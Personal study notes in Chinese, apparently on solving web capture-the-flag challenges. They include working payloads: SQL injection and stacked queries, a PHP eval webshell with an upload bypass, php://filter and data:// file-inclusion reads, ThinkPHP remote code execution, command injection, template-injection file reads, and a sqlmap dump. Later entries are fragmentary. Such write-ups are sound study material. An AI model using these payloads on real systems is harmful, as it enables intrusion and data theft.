- 熟悉robots.txt协议,可能存在一些敏感信息(sql在登录时候的万能密码a’ or true#)
- 熟悉phps文件,phps文件就是 php 的源代码文件,通常用于提供给用户(访问者)查看 php 代码,因为用户无法直接通过 Web 浏览器看到 php 文件的来内容,所以需要用 phps 文件代替,直接在网站输入index.phps,得到一个网页,然后进行代码审计,url解码是%+字符的十六进制,$-GET会进行一次解码,所以要进行两次解码
- 魔术函数,在执行反序列化时,会先调用wakeup(),当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup(),
可以构造urlhttp://111.198.29.45:30940?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
- 通过bp进行暴力破解,对于id的不同取值看返回包的长度
- 禁用了右键查看源代码,可以使用f12查看源代码得到flag
- 使用hackbar进行post请求参数的提交
- 熟悉robots协议
- 常用的备份文件 .git .svn .swp .svn .~ .bak .bash_history,如index.php.bak
- 熟悉cookie
- 如果禁用了f12,不能查看源代码,可以在浏览前地址栏前面输入view-source:
- 可以通过检查更改前端的某些限制,从而进行绕过,或者进行代码审计
- 使用burpsuite对密码进行爆破
- Php中的弱类型比较
- Web的头部字段也可能会包含flag
- 基于get的sql注入,可以使用sqlmap,万能密码1’ or 1=1 --+也可以使用简单的sql注入语句
- 可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。先新建.user.ini里面写入
GIF89a
auto_prepend_file=a.jpg
同时新建一个txt文档里面写入
GIF89a
<?=eval($_REQUEST[‘cmd’]);?> 然后修改后缀为a.jpg修改好以后先上传.user.ini文件
利用burp抓包,修改Content-Type类型为image/gif,这样就可以成功上传.user.ini文件,然后直接上传1.gif文件。输入f12选择网络,查看文件上传的存储地址
再使用蚁剑进行连接,密码为cmd,查找信息得到flag
- 主要是认识php伪协议
在cookie那里构建
language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag,直接进行访问flag.php可能会不成功。php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取。
例如读取文件:php://filter/read=convert.base64-encode/resource=index.php读取上级目录文件:php://filter/read=convert.base64-encode/resource=…/…/…/a.txt读取其他的文件:php://filter/read=convert.base64-encode/resource=F:\b.txt
- 在hackbar上输
入?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
Post data:hello ctf=hello ctf,因为hackbar上只能以键值对的形式进行输入,然后在bp上修改,只保留hello ctf
data协议是写协议 filter协议是读协议
方式二:
- 主要还是代码审计部分,要熟悉很多的php函数
$c["n"][0]):取c中n数组的第一个值
由上可知可以构造
payload:?a=1e9&b=53724&c={“m”:”2023c”;”n”:[[],0]}
- 熟悉php伪协议,有些关键字可能会被过滤掉(注意有些情况可以删除掉read)
构造payload:filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php
Convert用法有两种方式
convert.iconv.<input-encoding>.<output-encoding>
or
convert.iconv.<input-encoding>/<output-encoding>
<output-encoding> 的选择将会直接影响flag的显示形式
可以使用bp来进行爆破,选择集束炸弹,给两个位置添加密码本,已下载
Utf-8.utf-7
- 还是php的代码审计部分
Construct()在对象创建时被调用,destruct()在python脚本结束时被调用,wakeup方法在反序列化时被调用,tostring在对象被当作一个字符串使用时被调用
当某些关键字被过滤时,可以选择使用\,””如ls,l\s,l””s空格被过滤可以使用${IFS}
/被过滤可以使用$(printf${IFS}”\57”)绕过
function __destruct() {
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}在对象被摧毁时被调用,如果 $this->method 的值在指定的数组中(即 "ping"),那么 call_user_func_array() 将调用 $this->method 方法,并将 $this->args 作为参数传递给该方法。
Php中新建一个对象:$a = new ease(‘ping’,array(‘ls’))
还有一个:如果题目给出的是先base64解码再进行反序列化,那么构造的payload需要先序列化再进行base64编码
如果cat某个文件没有得到回显,可能这是个目录
- 直接通过sqlmap得到flag,
python sqlmap.py "http://61.147.171.105:65374/" --data="search=1" -D news -T secret_table -C fl14g --dump
- 先上传一张木马图片,然后抓包,将图片其改成php后缀,而不是改成content-type,前端页面直接给出了文件的存储地址,使用蚁剑进行连接,记着点添加,而不是测试连接
- 熟悉xff和referer
- 命令注入漏洞使用&进行命令拼接
127.0.0.1;ls: ;表示顺序执行,命令之间顺序关系没有
127.0.0.1 && find / -name “flag.*”
127.0.0.1 && ls /:列出根目录下的所有文件
空格如果被过滤
- 给出了加密算法写出解密算法
- 主要是python的模板注入
模板注入可以先进行进行测试:/{{7*7}},如果页面回传显示里面的公式被执行了,那么就说明了存在模板注入
查找有无可执行os的类,使用python脚本(71是通过python脚本找出来的索引)
找到后列出目录
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
查看文件
读取文件
{{''.__class__.__mro__[2].__subclasses__()[40]('index.py').read()}}
- Php反序列化漏洞,要对其进行base64加密
这个是题目
这个是解法
当输入?
var=’TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=='
会先进行base64解码,然后进行正则匹配,通过后对其反序列化,发现属性值的个数大于真正的属性值个数,因此会跳过wakeup函数,当对象销毁后,执行destruct函数,
- 主要是thinkphp漏洞
构造payload:php_rce
http://111.198.29.45:46140/index.php?s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=var_dump&vars[1][]=111(var_dump打印变量的相关信息)
s=index/\think\Request/input&data=phpinfo()&filter=assert:打印phpinfo()
php_rce
s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir:打印目录
s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "*flag":查找flag
s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
- 构造payload,使用文件包含
Show-source(_FILE_):显示当前php文件的源代码,即使客户端可以看到完整的代码
使用了strstr函数检测$page变量中是否包含字符串php://,如果有则将其替换为空字符串
虽然过滤了php://input,但是可以使用下面的payload进行绕过
?page=data://text/plain,<?php system("ls");?>
?page=data://text/plain,<?php system("cat fl4gisisish3r3.php");?>
- 通过堆叠注入进行
发现使用--+,会报错,使用#不会报错,使用单引号会报错,并且使用联合查询过滤了某些关键字
此时可以尝试使用堆叠注入
显示数据库:1’;show databases;#
查表:;show tables from supersqli;#
分别查询两个表的字段(表名要加上反引号):
; show columns from `1919810931114514` ;#
; show columns from `words` ;#
查看flag:1’ or 1=1 #
方法二.
';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#
方法三:handler `1919810931114514` open as `a`;handler `a` read next;
- Php代码审计后得到答案,打开网页是一张图片,检查源代码发现有source.php,打开source.php
mb_strpos($page . '?', '?'):
表示查找 $page 字符串中第一个出现 ? 的位置。
通过在 $page 后面拼接一个 '?' 字符(即 $page . '?'),如果 $page 本身不包含 ?,mb_strpos 会返回整个字符串的长度
mb_substr($page, 0, ...) 表示从 $page 字符串的开头(索引 0)开始提取一部分内容。
- 这个真不会catcatnew,
- 本题主要用到了git泄露
使用dirsearch进行目录爆破(在python312这个目录下输入cmd)
Python dirsearch.py -u http:xxx/xxxx
使用githack.py进行git泄露(在python27这个目录下输入cmd)
Python GitHack.py http://xxx/.git/
打开本地,发现所有的文件
打开api.php文件发现,里面有一段是抽奖的代码,主要是通过输入的数据和这里的随机数
进行比较,看相等的数字,中的钱就越大,应用了弱比较==,这里没有进行任何过滤,可
以用true绕过
requests是json格式的比较彩票数字与用户数字采用==弱比较
而且是一位一位的比较的由于 json 支持布尔型数据,那么就可以构造一串数组
[true,true,true,true,true,true,true]传入了
- 首先检查源代码,发现了一个index.php,但是只显示了ok,使用php://filter读取index.php里面的内容
?page=php://filter/read=convert.base64-encode/resource=index.php
出现了一段base64编码解码后发现了一个关键部分
可以先抓包,加入x-forwarded-for:127.0.0.1
preg_replace($pattern, $replacement, $subject)函数会将subject中匹配pattern的部分用replacement替换,如果启用/e参数的话,就会将replacement当做php代码执行
不要page参数了,添加X-Forwarded-For:127.0.0.1,页面出现welcome my admin!因此,可以构造payload
/index.php?pat=/abc/e&rep=system("ls")&sub=asdsadasabc
35.首先,观察网页及源代码,可以得到一些信息该网站是用git托管源码,以及用PHP编写
并且有一个flag文件(猜测后缀为.PHP),使用githack进行破解
用kali打开下载后的文档,发现当中有一个叫做flag的文档,但是查看以后发现什么都没有,应该是需要经过游览器特定的转换才能够看到这个文件
这个代码是核心部分,可以构造payload进行绕过, 由于之前git漏洞下载对文件,我们已经知道了flag位于/templates/flag.php路径下,所以payload的构建可以直接一步到位,不用再用system('ls+xxx')回显路径,最后的payload
/?page=').system('cat+./templates/flag.php');//
当进行这样的构造时
36.从这个标题来看,考的点应该是跟JavaScript有关的,肯定一进去必须要打开F12,因为html css JavaScript都是跟网页有关的
37.
发现msg是可以进行更改的,那么我们进行ttsi模板注入检测,并没有发现可以使用的
(使用tplmap)
tqlmap用法
在Tornado里,应用的设置可以通过handler.settings访问。拿到cookie
- 打开是一段源代码
可以构造payload
{{url_for.__globals__['current_app'].config}}
- 首先进行注册和登录,发现只有那个no参数有点可疑
之后猜解字段数,输入一个不存在的编号2
不用load_file,继续注入下去。现在已经拿到了数据库名:fakebook,接下来拿表名:
view.php?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#
- 打开网页,发现下面有一行提示,你不是内部用户
直接尝试在用户名密码处进行注入点测试,发现用单引号,双引号,括号都没有反应,右键查看源码,发现use.php注释
编写payload脚本,实现内部访问:
substr((SELECT flag from flag),30,32):表示从flag字段的值中,从第30个字符开始,截取长度为32的子字符串。
41.
输入127.0.0.1,成功ping通,但是后面接上命令注入发现有些被过滤掉了
此时发现url处存在编码
Url=%80
构造payload:?url=@/opt/api/database.sqlite3
找到flag
42.
Payload:http://111.200.241.244:62326/register.php/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
43.flatscience,有点看不懂,贴上原有wp吧
(https://blog.csdn.net/hxhxhxhxx/article/details/107846000)
- 这题跟前面的题目差不太多,主要是iconv
- 网站目录爆破,发现flag.html,直接访问http://61.147.171.105:63902/flag.html,发现进行了重定向,需要burp抓包才行
46.
编译运行即可得到flag
47.这题主要是javascript的原型污染
当勾选is admin,会要求推送一个邀请码,此时进行抓包
然后将其改成
即可得到flag
- Bug(逻辑漏洞)
注意那个do=???,可能是会要求做一个动作,尝试几次后,将其改为upload
注意:直接改成php会被过滤,可以设置成php5
Png图片里的内容:
<script language=”php”>system(“ls”)</script>
- 查看源代码
- Unfinish(有点没看懂https://www.cnblogs.com/zhengna/p/13595290.html)
使用awvs进行扫描,已下载,使用教程可以看
Awvs详细使用教程_awvs使用教程-CSDN博客
51.
52.
53.
之后构造payload:?url=file:///flag
54.
然后试着上传shell,上传后发现不能访问,审计源码
脚本使用条件竞争的脚本
先利用bp一直post那个文件
55.
Payload:
O:3:"SQL":4:{s:5:"table";s:41:"(select 'admin' username,'123'
password)a";s:8:"username";s:5:"admin";s:8:"password";s:3:"123";s:4:"conn";N;}}
56.
注意:这个是关键,就是说写入的这个captcha要满足上面的这个等式,直接用gpt
然后试着读取文件file:///etc/passwd
可以成功读取
但是没有办法读取file:///flag,猜测flag可能被过滤掉了,可以对flag进行url编码
编码之后
file:///%66%6c%61%67
- i-got-id-200
- Zhuanxv
使用dirsearch扫描发现隐藏目录list
python3 dirsearch.py -u http://220.249.52.133:43210/ -e *
抓包发现背景图片是从后台加载的一张图片
59.wtf.sh-150
打开题目很像一个论坛,随便打开一个页面试试看能不能注入
这里使用../而不是.../
点击进入admin的post,然后修改USERNAME=admin,TOKEN为admin的token
得到了flag的前半部分,后面的部分也是没怎么看懂,看这个吧(https://blog.csdn.net/hxhxhxhxx/article/details/108098586)
60.web_php_wrong_nginx_config
发现成功登陆了
进去瞎点一通,发现只有管理中心可以改变url
发现无论加多少../均不能,猜测是被过滤了
弹出了nginx的配置信息
后面的部分就是代码部分了,是真心看不懂
(https://blog.csdn.net/l8947943/article/details/122292321)
- Comment
后面的部分也是很多没看懂,只能看看大神们的解题过程了
62后面的都挺难的 根本都看不懂了
SQL注入
Select *,1 from flag:将从名为 flag 的表中选择所有列,并为每一行添加一个值为 1 的额外列。